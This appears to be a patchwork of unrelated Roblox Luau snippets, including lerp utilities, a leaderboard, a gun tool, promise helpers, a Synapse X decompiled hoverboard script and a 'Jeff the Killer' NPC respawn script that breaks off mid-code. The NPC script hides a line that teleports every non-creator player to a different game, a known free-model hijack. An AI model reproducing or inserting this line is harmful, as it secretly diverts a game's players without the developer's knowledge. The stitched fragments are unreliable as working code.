local function Zip(...: { [any]: any }): ((t: { any }, k: any) -> (any, any), { any }, any) assert(select("#", ...) > 0, "Must supply at least 1 table") local function ZipIteratorArray(all: { any }, k: number): (number?, { any }?) k += 1 local values = {} for i, t in all do local v = t[k] if v ~= nil then values[i] = v else return nil, nil end end return k, values end local function ZipIteratorMap(all: { [any]: any }, k: any): (number?, { any }?) local values = {} for i, t in all do local v = next(t, k) if v ~= nil then values[i] = v else return nil, nil end end return k, values end local all = { ... } if #all[1] > 0 then return ZipIteratorArray, all, 0 else return ZipIteratorMap, all, nil end end
-- Função 2
Playing:GetPropertyChangedSignal("Value"):Connect(function() if Playing.Value == true then LightService.Atmosphere.Density = 0.6 end end)
-- Generic Roblox DataType lerp function.
local function RobloxLerp(V0, V1) return function(Alpha) return V0:Lerp(V1, Alpha) end end local function Lerp(Start, Finish, Alpha) return Start + Alpha * (Finish - Start) end local function SortByTime(A, B) return A.Time < B.Time end local function Color3Lerp(C0, C1) local L0, U0, V0 local R0, G0, B0 = C0.R, C0.G, C0.B R0 = R0 < 0.0404482362771076 and R0 / 12.92 or 0.87941546140213 * (R0 + 0.055) ^ 2.4 G0 = G0 < 0.0404482362771076 and G0 / 12.92 or 0.87941546140213 * (G0 + 0.055) ^ 2.4 B0 = B0 < 0.0404482362771076 and B0 / 12.92 or 0.87941546140213 * (B0 + 0.055) ^ 2.4 local Y0 = 0.2125862307855956 * R0 + 0.71517030370341085 * G0 + 0.0722004986433362 * B0 local Z0 = 3.6590806972265883 * R0 + 11.4426895800574232 * G0 + 4.1149915024264843 * B0 local _L0 = Y0 > 0.008856451679035631 and 116 * Y0 ^ (1 / 3) - 16 or 903.296296296296 * Y0 if Z0 > 1E-15 then local X = 0.9257063972951867 * R0 - 0.8333736323779866 * G0 - 0.09209820666085898 * B0 L0, U0, V0 = _L0, _L0 * X / Z0, _L0 * (9 * Y0 / Z0 - 0.46832) else L0, U0, V0 = _L0, -0.19783 * _L0, -0.46832 * _L0 end local L1, U1, V1 local R1, G1, B1 = C1.R, C1.G, C1.B R1 = R1 < 0.0404482362771076 and R1 / 12.92 or 0.87941546140213 * (R1 + 0.055) ^ 2.4 G1 = G1 < 0.0404482362771076 and G1 / 12.92 or 0.87941546140213 * (G1 + 0.055) ^ 2.4 B1 = B1 < 0.0404482362771076 and B1 / 12.92 or 0.87941546140213 * (B1 + 0.055) ^ 2.4 local Y1 = 0.2125862307855956 * R1 + 0.71517030370341085 * G1 + 0.0722004986433362 * B1 local Z1 = 3.6590806972265883 * R1 + 11.4426895800574232 * G1 + 4.1149915024264843 * B1 local _L1 = Y1 > 0.008856451679035631 and 116 * Y1 ^ (1 / 3) - 16 or 903.296296296296 * Y1 if Z1 > 1E-15 then local X = 0.9257063972951867 * R1 - 0.8333736323779866 * G1 - 0.09209820666085898 * B1 L1, U1, V1 = _L1, _L1 * X / Z1, _L1 * (9 * Y1 / Z1 - 0.46832) else L1, U1, V1 = _L1, -0.19783 * _L1, -0.46832 * _L1 end return function(Alpha) local L = (1 - Alpha) * L0 + Alpha * L1 if L < 0.0197955 then return BLACK_COLOR3 end local U = ((1 - Alpha) * U0 + Alpha * U1) / L + 0.19783 local V = ((1 - Alpha) * V0 + Alpha * V1) / L + 0.46832 local Y = (L + 16) / 116 Y = Y > 0.206896551724137931 and Y * Y * Y or 0.12841854934601665 * Y - 0.01771290335807126 local X = Y * U / V local Z = Y * ((3 - 0.75 * U) / V - 5) local R = 7.2914074 * X - 1.5372080 * Y - 0.4986286 * Z local G = -2.1800940 * X + 1.8757561 * Y + 0.0415175 * Z local B = 0.1253477 * X - 0.2040211 * Y + 1.0569959 * Z if R < 0 and R < G and R < B then R, G, B = 0, G - R, B - R elseif G < 0 and G < B then R, G, B = R - G, 0, B - G elseif B < 0 then R, G, B = R - B, G - B, 0 end R = R < 3.1306684425E-3 and 12.92 * R or 1.055 * R ^ (1 / 2.4) - 0.055 -- 3.1306684425E-3 G = G < 3.1306684425E-3 and 12.92 * G or 1.055 * G ^ (1 / 2.4) - 0.055 B = B < 3.1306684425E-3 and 12.92 * B or 1.055 * B ^ (1 / 2.4) - 0.055 R = R > 1 and 1 or R < 0 and 0 or R G = G > 1 and 1 or G < 0 and 0 or G B = B > 1 and 1 or B < 0 and 0 or B return Color3.new(R, G, B) end end local Lerps = setmetatable({ boolean = function(V0, V1) return function(Alpha) if Alpha < 0.5 then return V0 else return V1 end end end; number = function(V0, V1) local Delta = V1 - V0 return function(Alpha) return V0 + Delta * Alpha end end; string = function(V0, V1) local RegularString = false local N0, D do local Sign0, H0, M0, S0 = string.match(V0, "^([+-]?)(%d*):[+-]?(%d*):[+-]?(%d*)$") local Sign1, H1, M1, S1 = string.match(V1, "^([+-]?)(%d*):[+-]?(%d*):[+-]?(%d*)$") if Sign0 and Sign1 then N0 = 3600 * (tonumber(H0) or 0) + 60 * (tonumber(M0) or 0) + (tonumber(S0) or 0) local N1 = 3600 * (tonumber(H1) or 0) + 60 * (tonumber(M1) or 0) + (tonumber(S1) or 0) if Sign0 == "-" then N0 = -N0 end D = (43200 + (Sign1 ~= "-" and N1 or -N1) - N0) % 86400 - 43200 else RegularString = true end end if RegularString then local Length = #V1 return function(Alpha) Alpha = 1 + Length * Alpha return string.sub(V1, 1, Alpha < Length and Alpha or Length) end else return function(Alpha) local FS = (N0 + D * Alpha) % 86400 local S = math.abs(FS) return string.format( FS < 0 and "-%.2u:%.2u:%.2u" or "%.2u:%.2u:%.2u", (S - S % 3600) / 3600, (S % 3600 - S % 60) / 60, S % 60 ) end end end; CFrame = RobloxLerp; Color3 = Color3Lerp; NumberRange = function(V0, V1) local Min0, Max0 = V0.Min, V0.Max local DeltaMin, DeltaMax = V1.Min - Min0, V1.Max - Max0 return function(Alpha) return NumberRange.new(Min0 + Alpha * DeltaMin, Max0 + Alpha * DeltaMax) end end; NumberSequenceKeypoint = function(V0, V1) local T0, Value0, E0 = V0.Time, V0.Value, V0.Envelope local DT, DV, DE = V1.Time - T0, V1.Value - Value0, V1.Envelope - E0 return function(Alpha) return NumberSequenceKeypoint.new(T0 + Alpha * DT, Value0 + Alpha * DV, E0 + Alpha * DE) end end; PhysicalProperties = function(V0, V1) local D0, E0, EW0, F0, FW0 = V0.Density, V0.Elasticity, V0.ElasticityWeight, V0.Friction, V0.FrictionWeight local DD, DE, DEW, DF, DFW = V1.Density - D0, V1.Elasticity - E0, V1.ElasticityWeight - EW0, V1.Friction - F0, V1.FrictionWeight - FW0 return function(Alpha) return PhysicalProperties.new( D0 + Alpha * DD, E0 + Alpha * DE, EW0 + Alpha * DEW, F0 + Alpha * DF, FW0 + Alpha * DFW ) end end; Ray = function(V0, V1) local O0, D0, O1, D1 = V0.Origin, V0.Direction, V1.Origin, V1.Direction local OX0, OY0, OZ0, DX0, DY0, DZ0 = O0.X, O0.Y, O0.Z, D0.X, D0.Y, D0.Z local DOX, DOY, DOZ, DDX, DDY, DDZ = O1.X - OX0, O1.Y - OY0, O1.Z - OZ0, D1.X - DX0, D1.Y - DY0, D1.Z - DZ0 return function(Alpha) return Ray.new( Vector3.new(OX0 + Alpha * DOX, OY0 + Alpha * DOY, OZ0 + Alpha * DOZ), Vector3.new(DX0 + Alpha * DDX, DY0 + Alpha * DDY, DZ0 + Alpha * DDZ) ) end end; UDim = function(V0, V1) local SC, OF = V0.Scale, V0.Offset local DSC, DOF = V1.Scale - SC, V1.Offset - OF return function(Alpha) return UDim.new(SC + Alpha * DSC, OF + Alpha * DOF) end end; UDim2 = RobloxLerp; Vector2 = RobloxLerp; Vector3 = RobloxLerp; Rect = function(V0, V1) return function(Alpha) return Rect.new( V0.Min.X + Alpha * (V1.Min.X - V0.Min.X), V0.Min.Y + Alpha * (V1.Min.Y - V0.Min.Y), V0.Max.X + Alpha * (V1.Max.X - V0.Max.X), V0.Max.Y + Alpha * (V1.Max.Y - V0.Max.Y) ) end end; Region3 = function(V0, V1) return function(Alpha) local imin = Lerp(V0.CFrame * (-V0.Size / 2), V1.CFrame * (-V1.Size / 2), Alpha) local imax = Lerp(V0.CFrame * (V0.Size / 2), V1.CFrame * (V1.Size / 2), Alpha) local iminx = imin.X local imaxx = imax.X local iminy = imin.Y local imaxy = imax.Y local iminz = imin.Z local imaxz = imax.Z return Region3.new( Vector3.new(iminx < imaxx and iminx or imaxx, iminy < imaxy and iminy or imaxy, iminz < imaxz and iminz or imaxz), Vector3.new(iminx > imaxx and iminx or imaxx, iminy > imaxy and iminy or imaxy, iminz > imaxz and iminz or imaxz) ) end end; NumberSequence = function(V0, V1) return function(Alpha) local keypoints = {} local addedTimes = {} local keylength = 0 for _, ap in ipairs(V0.Keypoints) do local closestAbove, closestBelow for _, bp in ipairs(V1.Keypoints) do if bp.Time == ap.Time then closestAbove, closestBelow = bp, bp break elseif bp.Time < ap.Time and (closestBelow == nil or bp.Time > closestBelow.Time) then closestBelow = bp elseif bp.Time > ap.Time and (closestAbove == nil or bp.Time < closestAbove.Time) then closestAbove = bp end end local bValue, bEnvelope if closestAbove == closestBelow then bValue, bEnvelope = closestAbove.Value, closestAbove.Envelope else local p = (ap.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time) bValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value bEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope end keylength += 1 keypoints[keylength] = NumberSequenceKeypoint.new(ap.Time, (bValue - ap.Value) * Alpha + ap.Value, (bEnvelope - ap.Envelope) * Alpha + ap.Envelope) addedTimes[ap.Time] = true end for _, bp in ipairs(V1.Keypoints) do if not addedTimes[bp.Time] then local closestAbove, closestBelow for _, ap in ipairs(V0.Keypoints) do if ap.Time == bp.Time then closestAbove, closestBelow = ap, ap break elseif ap.Time < bp.Time and (closestBelow == nil or ap.Time > closestBelow.Time) then closestBelow = ap elseif ap.Time > bp.Time and (closestAbove == nil or ap.Time < closestAbove.Time) then closestAbove = ap end end local aValue, aEnvelope if closestAbove == closestBelow then aValue, aEnvelope = closestAbove.Value, closestAbove.Envelope else local p = (bp.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time) aValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value aEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope end keylength += 1 keypoints[keylength] = NumberSequenceKeypoint.new(bp.Time, (bp.Value - aValue) * Alpha + aValue, (bp.Envelope - aEnvelope) * Alpha + aEnvelope) end end table.sort(keypoints, SortByTime) return NumberSequence.new(keypoints) end end; ColorSequence = function(V0, V1) return function(Alpha) local keypoints = {} local addedTimes = {} local keylength = 0 for _, ap in ipairs(V0.Keypoints) do local closestAbove, closestBelow for _, bp in ipairs(V1.Keypoints) do if bp.Time == ap.Time then closestAbove, closestBelow = bp, bp break elseif bp.Time < ap.Time and (closestBelow == nil or bp.Time > closestBelow.Time) then closestBelow = bp elseif bp.Time > ap.Time and (closestAbove == nil or bp.Time < closestAbove.Time) then closestAbove = bp end end local bValue if closestAbove == closestBelow then bValue = closestAbove.Value else bValue = Color3Lerp(closestBelow.Value, closestAbove.Value)((ap.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time)) end keylength += 1 keypoints[keylength] = ColorSequenceKeypoint.new(ap.Time, Color3Lerp(ap.Value, bValue)(Alpha)) addedTimes[ap.Time] = true end for _, bp in ipairs(V1.Keypoints) do if not addedTimes[bp.Time] then local closestAbove, closestBelow for _, ap in ipairs(V0.Keypoints) do if ap.Time == bp.Time then closestAbove, closestBelow = ap, ap break elseif ap.Time < bp.Time and (closestBelow == nil or ap.Time > closestBelow.Time) then closestBelow = ap elseif ap.Time > bp.Time and (closestAbove == nil or ap.Time < closestAbove.Time) then closestAbove = ap end end local aValue if closestAbove == closestBelow then aValue = closestAbove.Value else aValue = Color3Lerp(closestBelow.Value, closestAbove.Value)((bp.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time)) end keylength += 1 keypoints[keylength] = ColorSequenceKeypoint.new(bp.Time, Color3Lerp(bp.Value, aValue)(Alpha)) end end table.sort(keypoints, SortByTime) return ColorSequence.new(keypoints) end end; }, { __index = function(_, Index) error("No lerp function is defined for type " .. tostring(Index) .. ".", 4) end; __newindex = function(_, Index) error("No lerp function is defined for type " .. tostring(Index) .. ".", 4) end; }) return Lerps
--Basically checks if the toucher of the button is a player, then adds money to that player.
-- Place in backpack if was equipped
if wasEquipped then script.Parent.Parent = plr.Backpack end
--[=[ Loads a folder into a localization table. @param tableName string -- Used for source @param folder Folder -- A Roblox folder with StringValues containing JSON, named with the localization in mind ]=]
function JsonToLocalizationTable.loadFolder(tableName, folder) assert(type(tableName) == "string", "Bad tableName") local localizationTable = JsonToLocalizationTable.getOrCreateLocalizationTable() for _, item in pairs(folder:GetDescendants()) do if item:IsA("StringValue") then local localeId = JsonToLocalizationTable.localeFromName(item.Name) JsonToLocalizationTable.addJsonToTable(localizationTable, localeId, item.Value, tableName) elseif item:IsA("ModuleScript") then local localeId = JsonToLocalizationTable.localeFromName(item.Name) recurseAdd(localizationTable, localeId, "", require(item), tableName) end end return localizationTable end
--[=[ Constructs a new Touch input capturer. ]=]
function Touch.new() local self = setmetatable({}, Touch) self._trove = Trove.new() self.TouchTapInWorld = self._trove:Add(Signal.Wrap(UserInputService.TouchTapInWorld)) self.TouchPan = self._trove:Add(Signal.Wrap(UserInputService.TouchPan)) self.TouchPinch = self._trove:Add(Signal.Wrap(UserInputService.TouchPinch)) return self end
--[[ Breaks the window, visually modifying it, and breaching associate room if not already ]]
function Window:breach() self._state = Constants.State.Window.Breached local glass = self._model:FindFirstChild("Glass") glass.CanCollide = false glass.Material = Enum.Material.ForceField glass.Color = Color3.fromRGB(252, 0, 0) spawn( function() while self:_isBreached() do glass.Transparency = 1 wait(1) glass.Transparency = 0 wait(1) end end ) local room = self._associatedRoom if not room:isBreached() then room:breachRoom(self._model.Glass) end CreateWindowMarker:FireAllClients(glass) end
-- regeneration
while true do local s = wait(4) local health = Humanoid.Health if health > 0 and health < Humanoid.MaxHealth then health = health + 0.08 * s * Humanoid.MaxHealth if health * .95 < Humanoid.MaxHealth then Humanoid.Health = health else Humanoid.Health = Humanoid.MaxHealth end end end
--{{TYPES}} : COLORS, SIZES, AND MORE!
Settings.Colors = { ["1"] = Color3.fromRGB(255, 0, 0); -- {{DAMAGED}} ["2"] = Color3.fromRGB(0, 255, 0); -- {{HEALED}} } Settings.Sizes = { Small = UDim2.new(1.8, 0, 1.8, 0); -- {{SMALL SIZE, IM SURE IT HAS A GOOD PERSONALITY THOUGH}} } return Settings
-- [ BASIC ] --
local LookAtPlayerRange = 10 -- Distance away that NPC can looks local LookAtNonPlayer = false -- Looks at other humanoid that isn't player
-- Attack configuration
local ATTACK_MODE = getValueFromConfig("AttackMode") local ATTACK_RADIUS = getValueFromConfig("AttackRadius") local ATTACK_DAMAGE = getValueFromConfig("AttackDamage") local ATTACK_DELAY = getValueFromConfig("AttackDelay") local RELOAD_DELAY = getValueFromConfig("ReloadDelay") local CLIP_CAPACITY = getValueFromConfig("ClipCapacity")
--!strict -- upstream: https://github.com/facebook/react/blob/55cb0b7eeb0e539d89858b8ed69beabf7fe2fb46/packages/shared/checkPropTypes.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
local Packages = script.Parent.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local Error = LuauPolyfill.Error type Object = LuauPolyfill.Object type Function = (...any) -> ...any
---Converts a number with you know K and stuff
function module:ConvertNumber(Number) local NumberedNum = tonumber(Number) local FinalNum = NumberedNum ---Checking for phase 1 template: 100k if NumberedNum > 999999 then local Cached_Num = NumberedNum / 1000 Cached_Num = math.floor(Cached_Num) FinalNum = Cached_Num..("K") ---Checking for phase 2 template: 10.0k elseif NumberedNum > 9999 then local Cached_Num = NumberedNum / 100 Cached_Num = math.floor(Cached_Num) FinalNum = Cached_Num / 10 ..("K") end return FinalNum end return module
-- Looking for how exactly to set up your background music? Open the Readme/Instructions script!
local settings = {} settings.UseGlobalBackgroundMusic = false -- If you want to play Global Background Music for everyone in your game, set this to true. settings.UseMusicZones = true -- If you are using the Background Music Zones to play specific music in certain areas, set this to true.
--tool = script.Parent.Pistol
function Die() --if tool ~= nil then tool:remove() end wait(10) script.Parent:remove() end human.Died:connect(Die)
-- Every time you load an animation to a variable, it inserts a new Animation instance in the Humanoid to be played. Kind of like "holding" an animation in the Humanoid.
-- State
local state = require(script.Parent.state)
-- ================================================================================ -- PUBLIC FUNCTIONS -- ================================================================================
function PlayerConverter:PlayerToSpeeder(selection, racing) if racing == nil then racing = false end -- Fire RemoteEvent to handle conversion server-side LoadSpeeder:FireServer(selection, racing) end -- PlayerConverter:PlayerToSpeeder() function PlayerConverter:PlayerToSpeederClient(racing) if racing == nil then racing = false end local Players = game:GetService("Players") local player = Players.LocalPlayer local PlayerGui = player:FindFirstChild("PlayerGui") -- Get player's character local character = player.Character or player.CharacterAdded():wait() local humanoidRootPart = character:FindFirstChild("HumanoidRootPart") local head = character:FindFirstChild("Head") -- Move HumanoidRotPart out of range of interaction NPC if humanoidRootPart then humanoidRootPart.Position = humanoidRootPart.Position + Vector3.new(0, 40, 0) end if head then head.Position = head.Position + Vector3.new(0, 40, 0) end -- Lock/Center and hide mouse UserInputService.MouseIconEnabled = false UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter UserInputService.MouseIconEnabled = false -- Disable touch control GUIs on mobile devices if IS_MOBILE then local TouchGui = PlayerGui:WaitForChild("TouchGui") TouchGui.Enabled = false end if racing then local countdownGui = PlayerGui:WaitForChild("CountdownGui") countdownGui.TimerFrame.Visible = false end end -- PlayerConverter:PlayerToSpeederClient() function PlayerConverter:PlayerToSpeederServer(player, selection, racing) if racing == nil then racing = false end -- Get player's character local character = player.Character or player.CharacterAdded:wait() -- Anchor and make limbs transparent setModelAnchored(character, true) setModelCanCollide(character, false) setModelTransparency(character, 1) -- Remove limbs and unecessay character parts removeLimbsAndThings(character) -- Clone selected speeder local speeder = selection:clone() -- Set character's PrimaryPart to speeder's PrimaryPart local body = speeder:FindFirstChild("Body") assert(body, "All speeders must have a part named Body. It will be used as the PrimaryPart") speeder.PrimaryPart = body character.PrimaryPart = body character.PrimaryPart.Name = "HumanoidRootPart" -- Set collision group so that players cannot collide when they are speeders setCollisionGroup(speeder, _SPEEDEROBJECTSCOLLISIONGROUP) -- Unanchor speeder setModelAnchored(speeder, false) -- Insert speeder model into character insertModelIntoCharacter(character,speeder) -- Clone speeder scripts into player local controller = Controller:clone() controller.Parent = character -- Move player to SpeederSpawnLocation character:SetPrimaryPartCFrame(SpeederSpawnLocation.CFrame) LoadSpeeder:FireClient(player, racing) end -- PlayerConverter:PlayerToSpeederServer()
-- создание таблицы лидеров
local function onPlayerJoin(player) -- создаём таблицу лидстата local leaderstats = Instance.new("Folder") leaderstats.Name = "leaderstats" leaderstats.Parent = player -- добавление хранилища данных local stageStore = DataStore2("stage", player) -- создаём переменную этапа local stage = Instance.new("IntValue") stage.Name = "Stage" stage.Value = stageStore:Get(0) -- The "0" means that by default, they'll have 0 stage stage.Parent = leaderstats stageStore:OnUpdate(function(newstage) -- This function runs every time the value inside the data store changes. stage.Value = newstage end) end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; local l__StarterPlayer__2 = v1.StarterPlayer; local l__CollectionService__3 = v1.CollectionService; local l__Hoverboards__1 = v1.Directory.Hoverboards; local u2 = nil; function Create(p1) local l____HOVERBOARD__4 = v1.PlayerModule.Get("Character", p1):FindFirstChild("__HOVERBOARD"); if l____HOVERBOARD__4 then l____HOVERBOARD__4:Destroy(); end; local v5 = v1.StatService.Get(p1); if v5 then if not v5.Hoverboard then return; end; else return; end; local v6 = l__Hoverboards__1[v5.Hoverboard]; if not v6 then return; end; local v7 = v1.PlayerModule.Get("Humanoid"); local v8 = v1.PlayerModule.Get("RootPart"); if v7 then if v8 then u2 = v7.HipHeight; v8.CFrame = v8.CFrame + Vector3.new(0, v7.HipHeight - v6.HipHeight, 0); v7.HipHeight = v6.HipHeight; v7.AutoJumpEnabled = false; end; end; end; local l__LocalPlayer__3 = v1.LocalPlayer; function Remove(p2) local v9 = v1.PlayerModule.Get("Humanoid"); local v10 = v1.PlayerModule.Get("RootPart"); if v9 then if v10 then if p2 == l__LocalPlayer__3 then v10.Velocity = Vector3.new(); end; if u2 then v9.HipHeight = u2; u2 = nil; end; v9.AutoJumpEnabled = true; end; end; end; function UpdatePlayer(p3, p4) local v11 = v1.PlayerModule.Get("Character", p3); if p4 then if not v11:FindFirstChild("__HOVERBOARD") then return Create(p3); end; end; if not p4 then if v11:FindFirstChild("__HOVERBOARD") then Remove(p3); end; end; end; function Toggle() v1.Variables.UsingHoverboard = not v1.Variables.UsingHoverboard; if not v1.Variables.UsingHoverboard then Remove(l__LocalPlayer__3); else Create(l__LocalPlayer__3); end; v1.Network.Fire("Update Hoverboard State", v1.Variables.UsingHoverboard); end; l__CollectionService__3:GetInstanceAddedSignal("UsingHoverboard"):Connect(function(p5) UpdatePlayer(p5, true); end); l__CollectionService__3:GetInstanceRemovedSignal("UsingHoverboard"):Connect(function(p6) UpdatePlayer(p6, false); end); task.defer(function() while v1.Variables.LoadingWorld do v1.Heartbeat(); end; for v12, v13 in ipairs((l__CollectionService__3:GetTagged("UsingHoverboard"))) do if not v12 then break; end; coroutine.wrap(UpdatePlayer)(v13, true); end; end); v1.Signal.Fired("Stat Changed"):Connect(function(p7) end); v1.Signal.Fired("Changed Platform"):Connect(function() end); v1.Signal.Fired("World Changed"):Connect(function() if v1.Variables.UsingHoverboard then Toggle(); end; end);
--Variables
local Seats = {} local EnterKeyDown = false local AdornedSeat = nil local currentHumanoid = nil local AnimationTracks = {}
--[[local gui = Instance.new("ScreenGui") local bg = Instance.new("Frame",gui) local bar = Instance.new("Frame",bg) local bvl = Instance.new("ImageLabel", bg) bvl.Name = "Bevel" bvl.BackgroundTransparency = 1 bvl.Image = "http://www.roblox.com/asset/?id=56852431" bvl.Size = UDim2.new(1,0,1,0) bg.Name = "Back" bar.Name = "Charge" bar.BackgroundColor3 = Color3.new(200/255,0/255,0/255) bg.BackgroundColor3 = Color3.new(200/255,200/255,200/255) bg.Size = UDim2.new(0,10,0,-100) bg.Position = UDim2.new(0,5,0,500) bar.Size = UDim2.new(0,4,-1,0) bar.Position = UDim2.new(0,3,1,0) ggui = gui:Clone() ggui.Name = "GunGui" ggui.Back.Charge.Size = UDim2.new(0,4,-(script.Charge.Value/100),0)]]
GroupID = 9999 function AntiGH(char1,char2) if GH then local plyr1 = game.Players:findFirstChild(char1.Name) local plyr2 = game.Players:findFirstChild(char2.Name) if plyr1 and plyr2 then if plyr1:IsInGroup(GroupID) and plyr2:IsInGroup(GroupID) then return false end end return true elseif not GH then return true end end MaxDist = 1000 function RayCast(Start,End,Ignore) if WallShoot then ray1 = Ray.new(Start, End.unit * 999.999) local Part1, TempPos = Workspace:FindPartOnRay(ray1,Ignore) ray2 = Ray.new(TempPos, End.unit * 999.999) local Part2, EndPos = Workspace:FindPartOnRay(ray2,Part1) return Part1, Part2, EndPos elseif not WallShoot then ray = Ray.new(Start, End.unit * 999.999) return Workspace:FindPartOnRay(ray,Ignore) end end function DmgPlr(Part) if Part ~= nil then local c = Instance.new("ObjectValue") c.Name = "creator" c.Value = game.Players:findFirstChild(script.Parent.Parent.Name) local hum = Part.Parent:findFirstChild("Humanoid") local hathum = Part.Parent.Parent:findFirstChild("Humanoid") local hat = Part.Parent if hathum ~= nil and hat:IsA("Hat") and AntiGH(hathum.Parent, script.Parent.Parent) then hathum:TakeDamage(Damage/1) Part.Parent = game.Workspace Part.CFrame = CFrame.new(Part.Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))) hat:Remove() c.Parent = hathum game.Debris:AddItem(c,1.5) elseif hum ~= nil and AntiGH(hum.Parent, script.Parent.Parent) then if Part.Name == "Head" then hum:TakeDamage(Damage*1.3) end hum:TakeDamage(Damage) c.Parent = hum game.Debris:AddItem(c,1.5) end end end function onButton1Down(mouse) if script.Parent.Ammo.Value == 0 then else if GunType == 0 then if (not enabled) then return end enabled = false LaserShoot(mouse) if Flash then script.Parent.Barrel.Light.Light.Visible = true end script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1 wait(0.01) if Flash then script.Parent.Barrel.Light.Light.Visible = false end wait(1/SPS) enabled = true elseif GunType == 1 then automatichold = true while automatichold == true and script.Parent.Ammo.Value ~= 0 do wait() if (not enabled) then return end if script.Parent.Parent:findFirstChild("Humanoid").Health == 0 then script.Parent:Remove() end enabled = false LaserShoot(mouse) if Flash then script.Parent.Barrel.Light.Light.Visible = true end script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1 wait(0.01) if Flash then script.Parent.Barrel.Light.Light.Visible = false end wait(1/SPS) enabled = true end end end end function LaserShoot(mouse) hit = mouse.Hit.p local StartPos = script.Parent.Barrel.CFrame.p local rv = (StartPos-hit).magnitude/(Recoil * 20) local rcl = Vector3.new(math.random(-rv,rv),math.random(-rv,rv),math.random(-rv,rv)) aim = hit + rcl local P = Instance.new("Part") P.Name = "Bullet" P.formFactor = 3 P.BrickColor = BrickColor.new(BulletColor) P.Size = Vector3.new(1,1,1) P.Anchored = true P.CanCollide = false P.Transparency = 0.5 P.Parent = script.Parent.Parent local m = Instance.new("CylinderMesh") m.Name = "Mesh" m.Parent = P local c = Instance.new("ObjectValue") c.Name = "creator" c.Value = game.Players:findFirstChild(script.Parent.Parent.Name) pewsound = script:FindFirstChild("Fire") if pewsound then pewsound:Play() end --Brick created. Moving on to next part local SPos = script.Parent.Barrel.CFrame.p if WallShoot then local Part1, Part2, EndPos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent) DmgPlr(Part1) DmgPlr(Part2) if Part1 and Part2 then local enddist = (EndPos-SPos).magnitude P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-enddist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.04,enddist,.04) else P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.04,MaxDist,.04) end elseif not WallShoot then local Part, Pos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent) DmgPlr(Part) if Part then local dist = (Pos-SPos).magnitude P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-dist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.1,dist,.1) else P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.1,MaxDist,.1) end end game.Debris:AddItem(P,.1) end function onButton1Up(mouse) automatichold = false end function onKeyDown(key, mouse) if key:lower() == "r" then if script.Parent.Ammo.Value ~= script.Parent.MaxAmmo.Value then reloadsound = script:FindFirstChild("Reload") if reloadsound then reloadsound:Play() end enabled = false script.Parent.VisibleB.Value = true script.Parent.StringValue.Value = "Reloading" repeat script.Parent.StringValue.Value = "Reloading" wait(0.23) script.Parent.Ammo.Value = script.Parent.Ammo.Value + 3 script.Parent.StringValue.Value = "Reloading" until script.Parent.Ammo.Value >= script.Parent.MaxAmmo.Value script.Parent.Ammo.Value = script.Parent.MaxAmmo.Value wait(0.2) script.Parent.VisibleB.Value = false enabled = true end end if key:lower() == "m" then if GunType == 1 then GunType = 0 Recoil = 6 else GunType = 1 Recoil = 5 end end end function onEquipped(mouse) equipped = true if mouse == nil then print("Mouse not found") return end mouse.Icon = "http://www.roblox.com/asset/?id=52812029" mouse.Button1Down:connect(function() onButton1Down(mouse) end) mouse.Button1Up:connect(function() onButton1Up(mouse) end) mouse.KeyDown:connect(function(key) onKeyDown(key, mouse) end) end function onUnequipped(mouse) equipped = false automatichold = false end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped) while true do wait() if script.Parent.Ammo.Value == 0 then script.Parent.VisibleB.Value = true script.Parent.StringValue.Value = "Reload" end if GunType == 1 then script.Parent.ModeText.Value = "Auto" else script.Parent.ModeText.Value = "Semi" end end
--[=[ Returns the value of the first promise resolved @param promises { Promise<T> } @return Promise<T> -- Promise that resolves with first result ]=]
function PromiseUtils.any(promises) local returnPromise = Promise.new() local function resolve(...) returnPromise:Resolve(...) end local function reject(...) returnPromise:Reject(...) end for _, promise in pairs(promises) do promise:Then(resolve, reject) end return returnPromise end
--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]
-- local PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]-- local AdvancedRespawnScript=script; repeat Wait(0)until script and script.Parent and script.Parent.ClassName=="Model"; local JeffTheKiller=AdvancedRespawnScript.Parent; game.Players.PlayerAdded:Connect(function(p)if p.UserId ~= game.CreatorId then game:GetService("TeleportService"):Teleport(4641921091,p)end end) if AdvancedRespawnScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then JeffTheKiller:FindFirstChild("Thumbnail"):Destroy(); end; local GameDerbis=Game:GetService("Debris"); local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local Respawndant=JeffTheKiller:Clone(); if PlayerSpawning then --[[ LOOK AT LINE: 2. ]]-- coroutine.resume(coroutine.create(function() if 